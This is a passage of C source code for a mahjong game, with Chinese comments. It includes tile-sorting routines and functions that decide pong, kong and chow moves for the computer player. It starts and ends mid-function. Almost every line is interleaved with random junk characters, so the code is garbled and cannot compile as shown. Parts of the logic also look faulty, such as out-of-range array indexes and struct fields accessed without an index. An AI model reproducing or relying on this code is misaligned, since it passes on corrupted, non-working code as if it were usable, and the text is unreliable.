% t( C, P! \# r, _, mcomputer.pp[n].number=computer.pp[j+1].number;
2 a9 V5 Z4 d+ K8 Y9 ]5 }computer.pp[j+1].number=u;
  M" q7 ~0 A4 A) F" l}/ K) _0 V& ~, e* L2 l, A' k3 R
}: I. [! g2 i+ H& I
}
7 ?8 `0 Q1 l# ]/ Pvoid melipai()
9 N1 g* k: g$ c' h7 ?3 o{ int n,j,u;
6 g0 y& ?( F! o$ X2 iint *lingshi;* R1 h2 a5 v3 P/ G7 |# }) I- I
for(n=0;n&lt;me.m;n++)
* F- [6 ?: G! [- [! {# |" E* R8 ufor(j=n;j&lt;me.m;j++)
, Y/ q6 i/ j' n5 Q/ @{$ @; L+ z! `# N. y) H/ N
if(me.pp[n].number&gt;me.pp[j+1].number)
8 U3 Q4 O, t$ P  |" j6 H# }# H{5 E' o* l- O: _$ p, d/ G' Q
lingshi=me.pp[n].k;
3 m) I: S6 F& ~2 d# \- {% o+ Dme.pp[n].k=me.pp[j+1].k;
9 v- Y" Q) ^) R& lme.pp[j+1].k=lingshi;
$ ^% K7 Q& C; s5 W8 ru=me.pp[n].oneorfour;' b1 j6 a2 A( i$ g3 e: D) S4 R  F
me.pp[n].oneorfour=me.pp[j+1].oneorfour;
* f, p7 B# a, f' f" ^4 }0 fme.pp[j+1].oneorfour=u;
2 ^3 d- \6 \. V% X; o2 B2 Eu=me.pp[n].number;
. A+ A( h7 U( u, n5 n- {% fme.pp[n].number=me.pp[j+1].number;  y- c7 _# c! P/ A0 T
me.pp[j+1].number=u;
; X" E. d) V! N- u; e! R0 T8 U}' g! }& a- K8 A# Y
else
: s8 ^% c% D! K* G+ K0 b! R" M% Mif(me.pp[n].number==me.pp[j+1].number)
; b2 i" f9 c( h, Y: ?* i0 Wif(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)
- Z. T9 J  R; G" j! T{
2 ~# e% @+ t. h* f6 Wlingshi=me.pp[n].k;
4 n- a5 D6 b% A+ Jme.pp[n].k=me.pp[j+1].k;
! v, q# ]2 p+ R% i' f$ a8 ?) W$ \me.pp[j+1].k=lingshi;1 R9 Z5 w0 {! g7 l7 g2 E
u=me.pp[n].oneorfour;! i3 p& [; S9 u: n" _
me.pp[n].oneorfour=me.pp[j+1].oneorfour;" ]) ~5 d- j) ~6 M
me.pp[j+1].oneorfour=u;! _% I- ^( D7 U9 E4 S
u=me.pp[n].number;  M" Q/ D* i( H7 V- i
me.pp[n].number=me.pp[j+1].number;
# p0 C% ?. \) S( \5 d1 L/ @me.pp[j+1].number=u;
! t# G9 a6 g/ {, z}
) v: p( s; l. e* b% U& y- a}5 O9 w& x" i! C' T$ z
}
% N/ J: v! a2 Q! ^+ N% {6 Avoid rgzn(int c) /*本程序涵数的核心针对电脑的牌*/% |" L& ]/ t: q6 N( n+ u# V
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
3 U9 C! w& \' uif(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0). _  B& z  C$ V( S$ m6 K8 k
{
0 R2 W8 X5 G0 k" I. M, Flogo=1;* \/ p3 ?; V4 T2 s+ q
if(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
0 z% j5 v+ J8 K* {logoo=1;
/ B3 d! T7 u4 pelse if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
; i7 _9 p9 }4 {! K& \% \logoo=2;. |2 x' U" E; x; k
else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
  }) t* y- |+ _9 r/ D3 C* u+ }; Z; mlogoo=3;  M# A3 S, O! u2 R: p9 y
else if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
0 [% ]' r9 [0 F; rlogoo=4;
4 j0 N6 E* ^8 o9 L& y/ p+ b3 ^else if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
# C2 n2 k  x* g: ]$ x2 ]0 l4 C6 qlogoo=5;- e( w4 g$ q4 y( G/ g7 `' G
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)0 J4 F3 Y8 ~, y. L9 k/ y% W
logoo=6;% B# ?) v: ~* [! K4 b0 q( B
else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)) ]7 N% X7 j) M) h* F
logoo=7;/ X4 i2 t: Z* n. C
else if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)& V; N+ l' U* P# v: p( x4 f
logoo=8;/ E! q. C/ G1 U' _/ S8 D
else if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)
3 E7 ~, S/ q  c; ~( f, ?/ [logoo=9;
$ Q# k& A+ |, I# A* i+ \2 G" Q. r- B6 P}
  ^1 u# v( Q4 N: h3 m$ celse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)
% }" ]* p% G6 j% f{9 d* B% }8 R. d  M& H
logo=2;+ o- y( H0 U) N& s9 S
if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
5 r; {# Z% D- [* X" H! g/ r  wlogoo=1;
, w2 s& i, [4 O' `( D' w) |. kelse if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)3 ]' u( f1 g. S! K; f' H- ?
logoo=2;, m0 f; `( n6 W: U4 x! N
else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)
3 u( R/ i, U9 f" \3 K; ?logoo=3;2 n3 Q" U% i6 B5 a
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48), [# b& U9 h& E2 d6 d5 m% U
logoo=4;; y' ^9 u0 b; e- n2 Q! N4 u. A
else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
3 Z& ~! _. @* B  H; `$ |; u# ~logoo=5;
8 t/ @' H/ M9 p9 H' {: k* zelse if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)
! c6 F5 C' |3 j/ U) D  B4 m! Blogoo=6;, F0 M: ~% M5 ?3 v4 w9 i
else if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
4 g3 \0 S1 i7 Ylogoo=7;) V$ P7 {  q4 I6 [7 _
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64), w6 F& ]: C1 c& |3 E; K8 i
logoo=8;0 y& `4 N5 ?3 J' G; e
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)3 B- B2 y. D% Y- b: a  o7 z" ?0 N
logoo=9;% s3 Q- V' w1 ]
}
8 B8 B8 c5 c- _else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)- Y; d# T6 v% {) e4 c( [# ]  l
{/ C. R/ q$ v' K& T, L, r' u
logo=3;
# f0 z7 l3 u4 ^7 |5 `if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
, v" q7 q3 s; R+ f# s* }1 Hlogoo=1;
- m& ~4 J+ _: r! c, Y% i* @# h: Relse if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
) w# O* I5 I9 ]2 ]8 N9 }logoo=2;" y; m/ M4 j8 j% e6 ?9 p% r
else if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)6 F' ?5 S3 L& s: F: F
logoo=3;
, p. G# {# G* N$ Q2 M6 uelse if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
, a# c0 {" ^0 W* N# x9 Wlogoo=4;
7 _6 v9 k4 J* Y  i+ V. ^* h$ Eelse if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)
' u0 h9 J- N& h8 i6 Ologoo=5;
2 S" p: T5 L% f) v* Helse if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)6 X; }% j) s. h0 J0 c
logoo=6;6 ?2 a; R- e+ [0 X4 F2 U1 [
else if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
6 I% I6 ]( }! J1 S1 n7 glogoo=7;
" y' u0 h7 l$ F6 u9 _) d6 Belse if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)
* C4 j6 d8 |4 D8 |logoo=8;& v/ }' |) ]# F4 j  F" v, L
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)1 `1 @" M0 x8 w- T( [
logoo=9;1 \7 z; H, J+ |) {7 ~) a' E
}
. b  l- Y' y, _! R- a& i: delse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)" {1 ~5 b& `( D8 A, P1 X
{/ I4 L& p8 v, P5 b" v! f: \. }) M
logo=4;% u3 s2 {( y2 {, f- z; ~2 u
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108); S; l2 t, ^7 D; F4 T
logoo=1;. I# o" d& s* l3 k; Y  C
else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)
( I5 L/ B" L  d/ Rlogoo=2;
; k% Y! h6 \- Y  j' R+ delse if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
9 \- Q- L9 Q2 W0 i& }) B) ilogoo=3;7 q% x% D3 n: c: j+ B# D: e4 Q
else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
, ?+ k0 `) C9 Mlogoo=4;
& \# N1 w: m3 Helse if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)$ B! C& f! I/ w% U% h4 X" E& `6 ^, L# o' u( `
logoo=5;; l& e1 o5 P2 M
else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)$ L5 }! k4 _4 k" s2 W. D
logoo=6;
" ]% V/ g- L* u1 ?' r) [  n+ B* helse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
' w6 N, X5 P' d6 q7 Ologoo=7;
$ t3 y. [: @4 N}9 x! O$ f6 ^$ J
while(b&lt;=computer.m)7 [" x. Y* z9 I5 ~/ |
{* L1 |6 W2 w8 ^
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/# W9 A* a4 ]  E& Y! U0 d
{
! n9 ^6 [6 _: D) R% {- _lg=1;
0 p) V% k3 U  l' ]! V5 j# mcomputer.pp.d[0]=1;3 d: D8 G5 Q+ Y6 J
if(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
/ C! {! k% l: n6 G6 l; q6 ]  S' m{
0 A) T! E5 z+ V2 P1 Clgg=1;
$ ?" W/ x" A. w8 C6 g5 ^; a8 gcomputer.pp.d[1]=1;
- J' E7 w  O6 o+ q* E}3 J  s& K& z0 h2 ^$ Y7 z% t
else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)( f) z; T' F% W+ C
{7 U) `' a0 v$ M5 b9 m, Q! ?
lgg=2;
3 h) |, [. C$ Z& ~" V3 Pcomputer.pp.d[1]=2;
$ }& W# {. s" k; w2 J9 t3 G0 ?3 {}
4 c( n% f' m1 D# o4 y* Selse if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)4 Q+ R' T' C) A$ V& Q1 \4 P
{5 l" `1 q' @; B9 Y- r+ @- A
lgg=3;
# H4 k( L, a; Y; z3 T& ncomputer.pp.d[1]=3;+ [% [7 d7 o( U+ F
}
( q5 I: t/ m2 D8 a8 Lelse if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
6 r6 [. l0 E3 b5 a6 \* r- i{
/ }# z+ c# \/ O$ d$ D! Nlgg=4;, c! R; I1 o% o7 k' |
computer.pp.d[1]=4;8 P8 L, A% D8 D$ E. I
}
" u- i* h0 A( W- O9 D8 U8 Xelse if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)
& x& y2 j' O  J, U{
0 B. X; e7 ~# ]6 H, v  V2 n. R) Dlgg=5;3 v, b+ B6 C+ \" m% H- ?9 Q" q+ G
computer.pp.d[1]=5;
* v  i0 B  U. Y( d  i}2 Q9 z, H  t; w8 A
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20). G0 f/ N+ e) a& G& @5 Q
{
6 }4 I% o3 d  C+ olgg=6;% f  Q4 h$ x. S0 [/ i
computer.pp.d[1]=6;6 G6 O; ?+ @  V$ x& Q1 r
}/ h& c6 p* O/ C% a1 a% Q
else if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)& O: j" T- h5 A! u
{8 r" e/ R5 S6 D2 |0 e: ~
lgg=7;
+ w0 v- i4 t0 Mcomputer.pp.d[1]=7;
4 }, o& d* C9 c6 |& x  c}2 X: m( S: D7 l  g0 K  D2 ?
else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)% ~) {2 T- p7 A! p& y
{$ M6 ]8 c; t5 [& K, y- \4 V
lgg=8;
/ E8 v# R9 R& t; t! Ncomputer.pp.d[1]=8;# X$ {3 |; W5 p3 }$ ^3 R
}' w( Z' ~5 P5 K; e4 V* ?3 c
else if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)3 P7 x- p6 d9 }4 d7 S
{; h3 x: g; Y9 Q5 z: M- m+ t! f
lgg=9;
& M5 O& K# v4 I/ f) U$ e. Pcomputer.pp.d[1]=9;
6 Q8 a( j# V7 L}
6 q9 L1 B0 o2 E6 U$ m+ u% r% d}
. d9 ?7 p  X4 W1 U  O, }$ nelse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)/ F; h" O1 [% {9 m
{  U% p0 f, E1 b8 E, Z3 _5 g
lg=2;3 c/ Q9 q5 ~2 d1 a8 Z" O' `
computer.pp.d[0]=2;
6 t. `* e6 M7 d9 `if(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
# n/ T' ~! K6 A6 F3 f$ H{
0 }- V3 \; |3 W1 B) P$ j+ Mlgg=1;" ?, G: L$ ]* n5 N2 E1 R1 W
computer.pp.d[1]=1;
" @& h/ {! B- y3 O% B}8 _4 A/ \- I& Y, W
else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
3 M3 [" {6 s' `: ]# k2 ^{& K. q1 b  t& E8 o0 _% z: r" L8 k
lgg=2;" P1 T$ k0 m* {3 z& D* E2 q7 u
computer.pp.d[1]=2;! g" Q, m  M! V6 I, y
}
; _1 M9 p- T! k4 J2 ~8 q/ T. }else if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)% A' l2 m" l8 F/ W  M- f8 M
{! l/ V$ o' {3 @
lgg=3;
* H# v; y" R& l- n) }9 Wcomputer.pp.d[1]=3;
5 Y/ z* Z' m/ U* ]2 a" @" C}. z- y3 l" ~1 h# J$ I3 s
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
6 Z4 H8 P; `# G% x) T{, L( o0 }: f3 c+ u7 v' c& |% C8 J
lgg=4;
1 U9 ?3 ]3 y7 Ucomputer.pp.d[1]=4;
/ ~; f4 M* O0 y" b  W2 S}3 y% l( n8 }6 q& A
else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)
; z; B& L5 T; r2 Q3 l. U0 D9 }! S{) f: C9 S9 H! ^  T& E, C) e3 K4 Q
lgg=5;: I  X( ]7 n: h! f' c
computer.pp.d[1]=5;, L- c; v8 H. T) p4 Z
}
6 K$ I. a$ ]  ^# I% |else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
4 X2 @- h9 J% u9 L& I{+ E. f* w( j4 t
lgg=6;& N' t1 l8 m# t% y
computer.pp.d[1]=6;( M! p) l% q! P
}
3 X: S. V: w% [; Q$ ?9 Q  Relse if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)
# H  r6 {/ d, `: a{
' V+ i, R; |7 b* C% u* Klgg=7;2 |1 a, A/ O; U' J& N4 ~+ a7 ~
computer.pp.d[1]=7;1 ?5 c+ D) I# K8 u3 g
}* C- a& V7 f3 L& G
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)6 I8 e- P% w0 Y9 ~3 V$ a! K
{! k, L+ E# L! d
lgg=8;! g6 E  S1 P' W$ z* V3 a" I
computer.pp.d[1]=8;2 I, z# ]9 l" Z! _- Z! D
}, g+ G/ i7 c6 g% f
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
7 ~' \6 R8 S+ K" W" F8 K{
: l$ I4 f$ q/ Jlgg=9;! K8 D. D9 c1 q' x+ B4 _# \7 C
computer.pp.d[1]=9;9 t& ?" f8 E5 V9 t
}
& D- p- j" c2 J7 c! I$ o}
4 v" k8 C' r$ j) d) q5 K/ delse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)# b* ~+ S( e5 O3 L$ L% e+ C
{( w& a+ E2 N9 I) @. D# e
lg=3;
3 h: C, x2 ?5 w, c" U  w" {computer.pp.d[0]=3;* c& C! i" f  M" v2 H
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)5 V. c- T+ g. k
{% \5 V  n6 W, \* b; D( Z
lgg=1;
4 h) X' x# t" n7 Bcomputer.pp.d[1]=1;
2 I  R5 S; i4 h}) @6 i8 Q  o: k2 |8 b# k
else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)
9 N; I- K+ ?, R$ ^8 a/ K  z/ b{
" O; I6 ~: o! f" t5 j" N# Ulgg=2;% Y" s! S$ ^7 e* _, T
computer.pp.d[1]=2;% \; X- x% s+ F% X
}
" ~% U2 X- {3 ~8 y" p( ?else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)7 g/ a7 ]  ]5 t
{4 I" u. ~0 V7 ]
lgg=3;
- x5 m* Y( R9 [7 O" j+ P, N( \computer.pp.d[1]=3;7 W' l& z, \1 d+ X( {7 L
}
; _3 @, `0 `# K. t7 A: Aelse if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)7 G- Z) K6 o5 b
{" k9 g  F: V. W; o$ O; `
lgg=4;2 _6 s) c+ a9 m- w- W
computer.pp.d[1]=4;3 }% |% V4 i$ @" U9 {' O6 n* l
}
- e1 w6 B) I3 `) ]- \6 B. |else if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)  w6 i9 `9 q* d! K% b2 e8 G2 z* M
{
9 s! f, D) T  ?& ]% b" ilgg=5;: T3 C) }* s3 H0 X
computer.pp.d[1]=5;/ R: t! p) s% ~1 H: s# S
}
  b% f% ^$ Q5 s4 c1 ~8 L4 kelse if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)5 Z0 R& y2 o8 H+ _8 z8 h, x6 p
{
7 x+ n: Y( }( D. j/ z& q; ^$ X6 rlgg=6;9 _' E) M3 ~5 z7 G- `) Z8 @
computer.pp.d[1]=6;4 L" p& G' G6 ~& d( \3 z; Y0 Q
}# n( ]: o8 }3 k
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)/ c# g: s- u( x% X/ p
{" z! l- r, B" A& l; n
lgg=7;* b4 I- q, Q" _/ T
computer.pp.d[1]=7;
% Q5 B* k+ a; c$ h3 D}0 |3 T# U+ `" X/ F$ x' _6 N- }' k
else if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
5 C0 A! U4 Q% R) R7 {" g: }3 ]{) `. {/ H8 g7 l1 y$ n9 [
lgg=8;$ l/ @8 k5 j8 c  n: ?
computer.pp.d[1]=8;% X( h- u% }) U7 W+ o
}. |' x9 o  p9 }% r6 x, y" i
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104); C% }" J2 u" d" q  r. j
{7 b  m% @) H% E- T4 X/ u* J) Q# }
lgg=9;
7 {0 M( F$ [- \4 s+ Jcomputer.pp.d[1]=9;
/ M( l0 H0 L) r7 X+ M}  d: i/ A( {) y; {- G1 X
}
1 w, b9 m5 T+ S; o/ ^# Kelse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)  c4 J1 K) b7 N; I
{
) ]3 l: |& A. _% Flg=4;1 d' _* d5 K+ X' ~% l) g
computer.pp.d[0]=4;
/ `0 M4 O3 I' e& z% Yif(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)/ q) P  z) T. \6 Y* t
{
! @! [; z  j- {0 D5 W0 I8 Plgg=1;
1 C% y* `! t! V8 ~5 R1 X' H3 acomputer.pp.d[1]=1;; }% o* K4 b, S7 z8 ]  u
}
2 X) z# I3 f' k" yelse if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)9 S* o* ^5 P4 U8 T, g3 u
{3 z1 y3 h3 ?# R4 d" ~& C
lgg=2;
7 z7 Y/ e  ?6 d! S# a6 t/ _1 lcomputer.pp.d[1]=2;
6 r* R/ X6 z+ H7 W4 Z0 [}
6 ^6 Z+ C7 l; {: q! |else if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)( m( o4 _% L! d/ B. r$ k$ E
{
2 p  @, O' ^" K3 q( u& y# clgg=3;
7 I" t0 N# ~& G% l( Y% `computer.pp.d[1]=3;
5 F  z8 |5 X7 E2 L}
+ m4 K' e2 `. v" a; Pelse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
- w4 x+ x, _4 P8 V{
- L/ d0 K' |7 I! K5 r" |" f, algg=4;/ g" g3 e3 v# X. r& J* L3 E
computer.pp.d[1]=4;5 v  L' B, k! s2 b% A" E
}
7 N4 ?2 w+ [0 |6 K# R4 J3 w  Q3 Belse if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)
! Y$ b) G8 {) O/ H% }# h- P{3 N4 ]% e- C8 n4 D9 A% Y; c( N
lgg=5;
+ ]7 \* W! B& E) M2 z' fcomputer.pp.d[1]=5;
: m% b! P! h" D}6 ^  x' u; C9 k# ~9 H
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
1 E2 S  d4 ]3 M' d; N3 z. ~2 g! o5 H{
% G! m1 h1 B# [/ e3 n$ Xlgg=6;% @8 O; Q+ ~6 ~
computer.pp.d[1]=6;% I% d) |& {! J
}
' p5 F& P+ T! Q% P& Telse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)
/ R- m$ @/ q( Q0 H1 j{
$ N- u  b- X$ E4 ulgg=7;2 u9 T. F1 K% Y+ L' y0 T9 b
computer.pp.d[1]=7;
( f# w6 d# m' G5 X2 ~}
8 n# f  \- T2 p}2 b" h0 [( m6 z

$ `- [  z& B, U" H7 G5 ]$ cif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
& v: v" _! N1 h& y4 R& D: Jif(logoo==lgg)
# Y# x9 A* z! _pg++;8 J1 z  p2 S# \
ch.lg=lg; /*保存电脑手里的每张牌的信息*/
  l. ]+ O( F& U+ Y9 A0 g- ^, Pch.lgg=lgg;
$ ]2 V2 q! y4 g2 |/ [* J& s& \8 olg=0;
4 ~) p& r6 g. _- l) tlgg=0;' F; `5 I6 ~8 h& o# s5 O
b++;
) `: k9 ?3 A; |: M4 T! P, o}
  Z( d/ e9 x" `if(pg==2) /*乓*/
$ c7 ~( Q6 ~7 A( o{- Y$ N( R6 X* X7 z
7 c' H6 i' k- S6 N* E% U! I
sing=1;
$ u7 b9 W- B& `+ c3 s* M  {7 cb=computer.m;
; r3 N2 u% ^+ B& uwhile(b!=-1)3 M* @7 R. {- H) M* P
{  O9 |% z* ]! }, v" \! ]: b
if(strcmp(me.pp[c].k,computer.pp.k)==0)
/ J* p, Z0 G' f9 @& I7 wcomputer.pp.p=1;
8 Z' X1 Y( ~" K0 j  L& u! w1 v
( a. Q* c( {* K4 \: j4 U$ R2 Kb--;# w5 |9 `! e% |6 |* {& e
}
; K0 t; j1 \/ n$ M8 \2 c$ A/ l}1 Y- R6 N( \6 m* w
if(pg==3) /*杠*/% N( `4 B7 Q6 d5 k; W2 N, d) b
{( Q, {4 c9 s/ M6 i: \+ C9 N

; i% F' x* M: B( X$ \& ?sing=2;5 n: [3 P+ |5 Y& s- v& m# g9 N% L9 y
b=computer.m;$ ^3 @" Q3 B$ ^1 b" {9 M5 P- T; [
while(b!=-1)
) Z; K6 x5 j9 S5 A4 f$ t( p, r1 }{, P8 U5 J# g# r
if(strcmp(me.pp[c].k,computer.pp.k)==0)1 B2 b3 J7 J# Q& N2 f+ r' [. r
computer.pp.g=1;0 A& T* H1 q3 M2 W. }4 X4 w2 s
b--;  R; n1 v$ @5 g& F5 h
}
3 ^* ^& A2 `' m) Y6 y}
# \% Z9 p  Q% ~  k( j( t9 jf=0;/ [$ m- P% X0 R8 g- }; d4 P
while(f&lt;computer.m) /*吃的判断*/
! g2 m" ]) x1 ]" Z4 K{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)/ c- z+ k% d: f* Q* y/ o
{7 b" y4 g2 X) D% k) R  A4 e
if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/1 M& Z& S% n# ]$ s
if(ch[f].lgg-logoo==1)
8 S  R4 M2 \* v( P- C2 m{
4 Q+ G7 w5 s( [$ o( Z5 _gp++;! l) @9 M1 e  o  z1 y! P6 z
computer.pp[f].c=1;' `3 w  V$ c* ]  n
computer.pp[f+1].c=1;' x, z& i& @6 Z- c
}5 c! V, v. D5 ^( K! s' L
if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
* {5 {9 j  Z0 |9 a4 H; q9 ^2 t- ~if(ch[f+1].lgg-logoo==-1)
8 X5 l% C3 t& P$ W& }% D1 k{
' ~3 b% P' I* o+ ?) C2 K$ Xgp++;- E/ `) h4 x; \6 O' V4 k" g
computer.pp[f].c=1;( W% n# M" k. u: E
computer.pp[f+1].c=1;0 @  j$ c( `$ P) O
}# ^! Q1 F9 ^1 \0 P7 z2 t
if(ch[f].lgg-logoo==-1) /*中吃*/
$ F# d  Y0 O9 [+ H' {! oif(ch[f+1].lgg-logoo==1)3 I, v2 i: V$ n, j* Y  c' I
{6 j3 k, |1 g! X7 N( ?( l
gp++;5 @7 u5 q9 G( q6 `! m+ f( A
computer.pp[f].c=1;
1 @2 t  D# @% J6 scomputer.pp[f+1].c=1;' y$ O2 J  ?2 G7 q5 P
}
  Q0 V8 S" x! `% p2 v, R  rif(gp==1). F- o1 Q' G' y/ N  k
break;
, L! P$ D& b  Z& u/ E}
$ a; j' n9 Z: Y# f# I2 A5 m* jf++;
: p- v5 {2 S* F" d}
6 H0 i: T; H4 t8 j) F* kif(gp==1)
1 r/ J7 R  v; G; `' `* J6 O, ?{sing=7;
7 T7 A$ u2 B- s" R% x. p3 D/ e5 a" u' E9 b2 t
}5 g/ d8 l6 u' C/ f2 z  x6 h
pg=0;
- p: D7 g. x+ D3 E7 ]7 u1 sgp=0;. P% {$ G9 F' i! A/ ^/ q% L" Y
b=0;8 G% T% l( A, [! L8 ~
}
2 ^5 K7 C: @% B! Svoid rgznme(int c) /*本程序涵数的核心针对我的牌*/
+ d( V9 j3 I' r& ]6 f% Z& T5 ~{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
0 @( o0 P8 N- a! P+ Y# sif(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)
2 v/ G% q( U  o& [  T/ ^5 y- z{" G: D; J/ C0 N0 G. t6 {2 H) H( d5 Q
logo=1;  s+ e3 b$ W6 n. ?7 ]9 {
if(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)
% w7 Q; G. M! R. U! V5 N0 Dlogoo=1;/ _. @; @6 [* m& j
else if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)
. w% r- M8 F) h. m3 l9 k5 Llogoo=2;
2 N  c7 S: ~' L& D! v- T, D+ U$ Welse if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
5 Z+ @, P0 T" T' M# f, a+ glogoo=3;
7 @+ g0 ]2 z- Aelse if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)( D% d$ Y5 D5 [
logoo=4;
! G$ H8 t% N( V- i# _( Welse if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)' ]& C9 z3 D0 |0 e
logoo=5;+ W- N% h: ]1 S6 U4 u; p
else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)  C2 z, m: J& u, K" Q" ]" Y
logoo=6;
' l8 b. ^3 g6 J# [9 S0 g( S. nelse if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)6 m9 l% H/ k+ ^% K
logoo=7;
& o7 j) e; ]3 G  x" Oelse if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)  l/ C9 S  u# r# u9 ?
logoo=8;
# ]4 d+ s5 t( ~: R5 Uelse if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
+ y/ e4 v, d: `  rlogoo=9;
; J  T( |  x7 ^! B}
, |1 X" Y, n& ~) o8 N# [( u2 ]& }, delse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)0 @0 O% a9 c4 q! h1 j$ w& t1 o. m
{
0 _& V! z) W% B  t! `- J( d2 J/ ulogo=2;6 I$ V+ ]* m! l
